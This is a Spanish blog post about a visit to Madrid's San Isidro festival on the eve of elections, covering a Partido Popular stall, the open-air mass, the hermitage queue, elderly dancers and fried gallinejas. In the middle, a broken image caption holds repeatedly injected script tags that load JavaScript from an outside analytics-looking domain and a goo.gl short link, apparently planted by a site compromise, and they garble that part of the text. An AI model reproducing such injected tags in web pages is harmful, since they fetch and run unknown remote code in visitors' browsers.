San Isidro, santo de los domingueros

Hacia el lugarejo me acerqué en aquella mañana tan popular, y nunca mejor dicho. Estamos en vísperas de elecciones y se notaba que Espe había pasado por allí. No la vi en persona, sino nuevamente en esa imagen de Cosmopolitan que luce en carteles y, el otro día, en chapas que se colgaba la gente en el pecho a falta de claveles. Y si no faltasen, también. Porque allí no faltó de nada. Ni siquiera el propio chiringuito del Partido Popular. San Isidro desde luego no sería del PSOE ni de ningún otro partido, porque tras el verde del campo sólo había azul.

Pasando la primera galería de chiringuitos me encontré con una concentración multitudinaria, alrededor de un escenario mal avenido (por lo chiquitérrimo que era). Se estaba celebrando la Misa de Campaña mientras que, más abajo, había devotas que preferían ir guardando cola para entrar a la Ermita del Santo y sufrir como mártires, expuestos a la ‘calufa’ que estaba haciendo.
Misa de campaña, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> hasta los topes como si cantase Madonna” style=”width: 550px” title=”Misa de campaña, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> hasta los topes como si cantase Madonna” width=”550″ /><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></p>
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Entrada a la Ermita de San Isidro Labrador

Poniendo una nota de color a la entrada estaban agrupaciones de choteros (¿se dice así?), cuales murgas en la cabalgata carnavalesca, con sus estandartes y muestras danzarinas. Aquellos ancianos bailaban despreocupados de lo que ocurría en el mundo, excitados por ser mirados por curiosos ‘voyeurs’, quienes veían cómo ellas los iban llevando a ellos, que no movían ni una pierna pa’lante ni una pierna p’atrás.


Puesto de ricas roscas típicas

 Pero lo más arraigado eran los entresijos o gallinejas que, como su propio nombre ayuda a deducir, eran las entrañas fritas de a saber qué animal. Cuando veía a los cocineros coger un puñado de los cubos y destriparlas como si fueran zombis, preferí ir a por una de esas tostas hechas con harina de oro. Luego, a echarse sobre el césped y a ser un chulo más que castiga al fresco.